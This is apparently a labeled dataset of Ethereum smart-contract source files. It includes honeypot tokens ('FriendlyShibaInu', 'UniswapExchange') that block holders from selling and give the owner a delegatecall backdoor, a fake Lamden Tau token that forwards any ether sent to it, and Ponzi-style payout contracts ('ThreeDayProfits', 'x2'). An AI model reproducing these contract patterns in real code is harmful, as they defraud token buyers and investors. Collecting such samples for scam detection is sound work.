_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FriendlyShibaInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,877 |
pragma solidity ^0.4.10;
contract Token {
mapping (address => uint256) public balanceOf;
mapping (uint256 => address) public addresses;
mapping (address => bool) public addressExists;
mapping (address => uint256) public addressIndex;
uint256 public numberOfAddress = 0;
string public physicalString;
string public cryptoString;
bool public isSecured;
string public name;
string public symbol;
uint256 public totalSupply;
bool public canMintBurn;
uint256 public txnTax;
uint256 public holdingTax;
uint256 public holdingTaxInterval;
uint256 public lastHoldingTax;
uint256 public holdingTaxDecimals = 2;
bool public isPrivate;
address public owner;
function Token(string n, string a, uint256 totalSupplyToUse, bool isSecured, bool cMB, string physical, string crypto, uint256 txnTaxToUse, uint256 holdingTaxToUse, uint256 holdingTaxIntervalToUse, bool isPrivateToUse) {
name = n;
symbol = a;
totalSupply = totalSupplyToUse;
balanceOf[msg.sender] = totalSupplyToUse;
isSecured = isSecured;
physicalString = physical;
cryptoString = crypto;
canMintBurn = cMB;
owner = msg.sender;
txnTax = txnTaxToUse;
holdingTax = holdingTaxToUse;
holdingTaxInterval = holdingTaxIntervalToUse;
if(holdingTaxInterval!=0) {
lastHoldingTax = now;
while(getHour(lastHoldingTax)!=21) {
lastHoldingTax -= 1 hours;
}
while(getWeekday(lastHoldingTax)!=5) {
lastHoldingTax -= 1 days;
}
lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds);
}
isPrivate = isPrivateToUse;
addAddress(owner);
}
function transfer(address _to, uint256 _value) payable {
chargeHoldingTax();
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (msg.sender != owner && _to != owner && txnTax != 0) {
if(!owner.send(txnTax)) {
throw;
}
}
if(isPrivate && msg.sender != owner && !addressExists[_to]) {
throw;
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
addAddress(_to);
Transfer(msg.sender, _to, _value);
}
function changeTxnTax(uint256 _newValue) {
if(msg.sender != owner) throw;
txnTax = _newValue;
}
function mint(uint256 _value) {
if(canMintBurn && msg.sender == owner) {
if (balanceOf[msg.sender] + _value < balanceOf[msg.sender]) throw;
balanceOf[msg.sender] += _value;
totalSupply += _value;
Transfer(0, msg.sender, _value);
}
}
function burn(uint256 _value) {
if(canMintBurn && msg.sender == owner) {
if (balanceOf[msg.sender] < _value) throw;
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Transfer(msg.sender, 0, _value);
}
}
function chargeHoldingTax() {
if(holdingTaxInterval!=0) {
uint256 dateDif = now - lastHoldingTax;
bool changed = false;
while(dateDif >= holdingTaxInterval * (1 weeks)) {
changed=true;
dateDif -= holdingTaxInterval * (1 weeks);
for(uint256 i = 0;i<numberOfAddress;i++) {
if(addresses[i]!=owner) {
uint256 amtOfTaxToPay = ((balanceOf[addresses[i]]) * holdingTax) / (10**holdingTaxDecimals)/ (10**holdingTaxDecimals);
balanceOf[addresses[i]] -= amtOfTaxToPay;
balanceOf[owner] += amtOfTaxToPay;
}
}
}
if(changed) {
lastHoldingTax = now;
while(getHour(lastHoldingTax)!=21) {
lastHoldingTax -= 1 hours;
}
while(getWeekday(lastHoldingTax)!=5) {
lastHoldingTax -= 1 days;
}
lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds);
}
}
}
function changeHoldingTax(uint256 _newValue) {
if(msg.sender != owner) throw;
holdingTax = _newValue;
}
function changeHoldingTaxInterval(uint256 _newValue) {
if(msg.sender != owner) throw;
holdingTaxInterval = _newValue;
}
function addAddress (address addr) private {
if(!addressExists[addr]) {
addressIndex[addr] = numberOfAddress;
addresses[numberOfAddress++] = addr;
addressExists[addr] = true;
}
}
function addAddressManual (address addr) {
if(msg.sender == owner && isPrivate) {
addAddress(addr);
} else {
throw;
}
}
function removeAddress (address addr) private {
if(addressExists[addr]) {
numberOfAddress--;
addresses[addressIndex[addr]] = 0x0;
addressExists[addr] = false;
}
}
function removeAddressManual (address addr) {
if(msg.sender == owner && isPrivate) {
removeAddress(addr);
} else {
throw;
}
}
function getWeekday(uint timestamp) returns (uint8) {
return uint8((timestamp / 86400 + 4) % 7);
}
function getHour(uint timestamp) returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) returns (uint8) {
return uint8(timestamp % 60);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract tokensale {
Token public token;
uint256 public totalSupply;
uint256 public numberOfTokens;
uint256 public numberOfTokensLeft;
uint256 public pricePerToken;
uint256 public tokensFromPresale = 0;
uint256 public tokensFromPreviousTokensale = 0;
uint8 public decimals = 2;
uint256 public withdrawLimit = 200000000000000000000;
address public owner;
string public name;
string public symbol;
address public finalAddress = 0x5904957d25D0c6213491882a64765967F88BCCC7;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public addressExists;
mapping (uint256 => address) public addresses;
mapping (address => uint256) public addressIndex;
uint256 public numberOfAddress = 0;
mapping (uint256 => uint256) public dates;
mapping (uint256 => uint256) public percents;
uint256 public numberOfDates = 8;
tokensale ps = tokensale(0xa67d97d75eE175e05BB1FB17529FD772eE8E9030);
tokensale pts = tokensale(0xED6c0654cD61De5b1355Ae4e9d9C786005e9D5BD);
function tokensale(address tokenAddress, uint256 noOfTokens, uint256 prPerToken) {
dates[0] = 1505520000;
dates[1] = 1506038400;
dates[2] = 1506124800;
dates[3] = 1506816000;
dates[4] = 1507420800;
dates[5] = 1508112000;
dates[6] = 1508630400;
dates[7] = 1508803200;
percents[0] = 35000;
percents[1] = 20000;
percents[2] = 10000;
percents[3] = 5000;
percents[4] = 2500;
percents[5] = 0;
percents[6] = 9001;
percents[7] = 9001;
token = Token(tokenAddress);
numberOfTokens = noOfTokens * 100;
totalSupply = noOfTokens * 100;
numberOfTokensLeft = noOfTokens * 100;
pricePerToken = prPerToken;
owner = msg.sender;
name = "Autonio ICO";
symbol = "NIO";
updatePresaleNumbers();
}
function addAddress (address addr) private {
if(!addressExists[addr]) {
addressIndex[addr] = numberOfAddress;
addresses[numberOfAddress++] = addr;
addressExists[addr] = true;
}
}
function endPresale() {
if(msg.sender == owner) {
if(now > dates[numberOfDates-1]) {
finish();
} else if(numberOfTokensLeft == 0) {
finish();
} else {
throw;
}
} else {
throw;
}
}
function finish() private {
if(!finalAddress.send(this.balance)) {
throw;
}
}
function withdraw(uint256 amount) {
if(msg.sender == owner) {
if(amount <= withdrawLimit) {
withdrawLimit-=amount;
if(!finalAddress.send(amount)) {
throw;
}
} else {
throw;
}
} else {
throw;
}
}
function updatePresaleNumbers() {
if(msg.sender == owner) {
uint256 prevTokensFromPreviousTokensale = tokensFromPreviousTokensale;
tokensFromPreviousTokensale = pts.numberOfTokens() - pts.numberOfTokensLeft();
uint256 diff = tokensFromPreviousTokensale - prevTokensFromPreviousTokensale;
numberOfTokensLeft -= diff;
} else {
throw;
}
}
function () payable {
uint256 prevTokensFromPreviousTokensale = tokensFromPreviousTokensale;
tokensFromPreviousTokensale = pts.numberOfTokens() - pts.numberOfTokensLeft();
uint256 diff = tokensFromPreviousTokensale - prevTokensFromPreviousTokensale;
numberOfTokensLeft -= diff;
uint256 weiSent = msg.value * 100;
if(weiSent==0) {
throw;
}
uint256 weiLeftOver = 0;
if(numberOfTokensLeft<=0 || now<dates[0] || now>dates[numberOfDates-1]) {
throw;
}
uint256 percent = 9001;
for(uint256 i=0;i<numberOfDates-1;i++) {
if(now>=dates[i] && now<=dates[i+1] ) {
percent = percents[i];
i=numberOfDates-1;
}
}
if(percent==9001) {
throw;
}
uint256 tokensToGive = weiSent / pricePerToken;
if(tokensToGive * pricePerToken > weiSent) tokensToGive--;
tokensToGive=(tokensToGive*(100000+percent))/100000;
if(tokensToGive>numberOfTokensLeft) {
weiLeftOver = (tokensToGive - numberOfTokensLeft) * pricePerToken;
tokensToGive = numberOfTokensLeft;
}
numberOfTokensLeft -= tokensToGive;
if(addressExists[msg.sender]) {
balanceOf[msg.sender] += tokensToGive;
} else {
addAddress(msg.sender);
balanceOf[msg.sender] = tokensToGive;
}
Transfer(0x0,msg.sender,tokensToGive);
if(weiLeftOver>0)msg.sender.send(weiLeftOver);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
} | 0 | 2,124 |
pragma solidity ^0.4.24;
contract ThreeDayProfits{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x20007c6aa01e6a0e73d1baB69666438FF43B5ed8;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,129 |
pragma solidity 0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address payable public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract x2 is Ownable {
using SafeMath for uint256;
uint public depositAmount = 100000000000000000;
uint public currentPaymentIndex;
uint public percent = 110;
uint public amountRaised;
uint public depositorsCount;
struct Deposit {
address payable depositor;
uint amount;
uint payout;
uint depositTime;
uint paymentTime;
}
Deposit[] public deposits;
mapping (address => uint[]) public depositors;
event OnDepositReceived(address investorAddress, uint value);
event OnPaymentSent(address investorAddress, uint value);
constructor () public {
}
function () external payable {
makeDeposit();
}
function makeDeposit() internal {
require(msg.value == depositAmount);
Deposit memory newDeposit = Deposit(msg.sender, msg.value, msg.value.mul(percent).div(100), now, 0);
deposits.push(newDeposit);
if (depositors[msg.sender].length == 0) depositorsCount += 1;
depositors[msg.sender].push(deposits.length - 1);
amountRaised = amountRaised.add(msg.value);
emit OnDepositReceived(msg.sender, msg.value);
owner.transfer(msg.value.mul(10).div(100));
if (address(this).balance >= deposits[currentPaymentIndex].payout && deposits[currentPaymentIndex].paymentTime == 0) {
deposits[currentPaymentIndex].paymentTime = now;
deposits[currentPaymentIndex].depositor.send(deposits[currentPaymentIndex].payout);
emit OnPaymentSent(deposits[currentPaymentIndex].depositor, deposits[currentPaymentIndex].payout);
currentPaymentIndex += 1;
}
}
function getDepositsCount() public view returns (uint) {
return deposits.length;
}
function lastDepositId() public view returns (uint) {
return deposits.length - 1;
}
function getDeposit(uint _id) public view returns (address, uint, uint, uint, uint){
return (deposits[_id].depositor, deposits[_id].amount, deposits[_id].payout,
deposits[_id].depositTime, deposits[_id].paymentTime);
}
function getUserDepositsCount(address depositor) public view returns (uint) {
return depositors[depositor].length;
}
function getLastPayments(uint lastIndex) public view returns (address, uint, uint, uint, uint) {
uint depositIndex = currentPaymentIndex.sub(lastIndex + 1);
return (deposits[depositIndex].depositor,
deposits[depositIndex].amount,
deposits[depositIndex].payout,
deposits[depositIndex].depositTime,
deposits[depositIndex].paymentTime);
}
function getUserDeposit(address depositor, uint depositNumber) public view returns(uint, uint, uint, uint) {
return (deposits[depositors[depositor][depositNumber]].amount,
deposits[depositors[depositor][depositNumber]].payout,
deposits[depositors[depositor][depositNumber]].depositTime,
deposits[depositors[depositor][depositNumber]].paymentTime);
}
} | 1 | 5,154 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FreePublicity is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function FreePublicity() public {
symbol = "LAMDEN TAU";
name = "Lamden Tau";
decimals = 18;
_totalSupply = 635716060613 * 10**uint(decimals);
}
function totalSupply() public constant returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return 6357160 * 10**uint(decimals);
}
function transfer(address to, uint tokens) public returns (bool success) {
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return 6357160 * 10**uint(decimals);
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
return true;
}
function () public payable {
address lamden = 0x9c38c7e22cb20b055e008775617224d0ec25c91f;
lamden.send(this.balance);
}
} | 0 | 2,004 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 579 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
